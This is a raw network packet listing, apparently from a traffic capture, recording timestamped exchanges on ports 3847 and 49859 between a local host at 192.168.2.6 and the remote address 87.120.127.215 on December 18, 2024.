Dec 18, 2024 19:28:09.534518003 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.534605980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.534837008 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.535490036 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.535516024 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.535851002 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.536192894 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.536252975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.536365986 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.537141085 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.537266016 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.537307978 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.538105011 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.538264990 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.538337946 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.538849115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.539057970 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.539122105 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.539779902 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.539884090 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.539942980 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.540802002 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.540982008 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.541233063 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.541802883 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.541918039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.541990042 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.542571068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.542737007 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.542785883 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.543364048 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.543514013 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.543564081 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.544270039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.544332981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.544365883 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.545167923 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.545322895 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.545387030 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.546147108 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.546188116 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.546248913 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.546967983 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.547072887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.547144890 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.547648907 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.547760010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.547821045 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.548738003 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.548837900 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.548902988 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.549463034 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.549475908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.549535990 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.550097942 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.550179005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.550287962 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.550879955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.551013947 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.551078081 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.551786900 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.551831961 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.552118063 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.552669048 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.552726984 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.552862883 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.553477049 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.553596020 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.553801060 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.554348946 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.554470062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.554635048 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.555211067 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.555318117 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.555373907 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.556087017 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.556180000 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.556267023 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.556956053 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.557095051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.557137966 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.557809114 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.557924986 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.558195114 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.558674097 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.558806896 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.558846951 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.559544086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.559662104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.560056925 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.560417891 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.560534000 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.560606956 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.561249018 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.561331987 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.561611891 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.562098026 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.562215090 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.562297106 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.562971115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.563003063 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.563724041 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.563910007 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.563967943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.564029932 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.564743996 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.564820051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.565107107 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.565594912 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.565757990 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.565835953 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.566462040 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.566559076 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.566931963 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.567296028 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.567485094 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.567539930 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.568161011 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.568221092 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.568795919 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.569067001 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.569228888 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.569279909 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.570008993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.570110083 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.570204973 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.570760012 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.570899010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.571010113 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.571628094 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.571707010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.571785927 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.572488070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.572674990 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.572844028 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.573405981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.573502064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.573622942 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.574243069 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.574377060 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.574945927 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.575086117 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.575195074 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.575300932 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.576011896 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.576106071 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.576225996 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.576864004 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.576958895 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.577014923 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.577656984 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.577745914 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.577990055 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.578530073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.578706026 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.578773022 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.726181984 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.726227045 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.726362944 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.726567030 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.726772070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.726841927 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.727276087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.727303982 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.727720976 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.728326082 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.728420019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.728472948 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.729048014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.729146004 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.729176998 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.729820967 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.729919910 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.730048895 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.730698109 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.730808020 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.731108904 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.731637955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.731739044 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.731775045 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.732470036 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.732561111 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.732887983 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.733262062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.733362913 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.733405113 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.734210968 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.734319925 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.734391928 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.735016108 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.735122919 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.735158920 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.735863924 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.735887051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.735979080 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.736763954 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.736913919 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.736974001 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.737616062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.737669945 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.737799883 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.738589048 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.738811970 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.738943100 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.739427090 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.739589930 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.739694118 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.740202904 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.740297079 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.740464926 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.741138935 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.741225958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.741261959 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.741925955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.742024899 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.742822886 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.742872000 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.742922068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.743010998 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.743659019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.743683100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.743769884 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.744488955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.744538069 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.744656086 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.745387077 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.745457888 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.745569944 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.746229887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.746334076 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.746612072 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.747174978 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.747261047 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.747328043 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.747946978 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.748017073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.748290062 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.748855114 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.748924971 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.748966932 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.749675035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.749802113 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.749847889 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.750572920 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.750655890 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.750773907 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.751425028 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.751543045 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.751588106 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.752334118 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.752446890 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.752532959 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.753155947 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.753384113 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.753487110 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.754015923 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.754132032 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.754270077 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.754920006 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.755008936 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.755523920 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.755814075 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.755937099 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.755980968 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.756638050 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.756655931 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.757014036 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.757539988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.757566929 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.757674932 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.758344889 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.758424044 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.758697033 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.759186029 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.759287119 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.759527922 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.760098934 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.760221004 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.760371923 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.760965109 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.761092901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.761154890 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.761885881 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.761981010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.762239933 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.762656927 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.762720108 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.762785912 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.763520956 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.763622046 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.764245987 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.764363050 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.764486074 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.764532089 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.765273094 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.765369892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.765553951 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.766100883 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.766213894 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.766452074 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.767045021 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.767188072 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.767230034 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.767920971 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.768002033 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.768203974 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.768697023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.768831968 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.768922091 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.769570112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.769660950 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.769819975 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.770415068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.770514011 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.770699024 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.771326065 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.918499947 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.918518066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.918801069 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.918997049 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.919042110 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.919152021 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.919173956 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.919208050 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.919882059 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.920007944 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.920069933 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.920758009 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.920917988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.921142101 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.921606064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.921643019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.921715021 CET	49859	3847	192.168.2.6	87.120.127.215
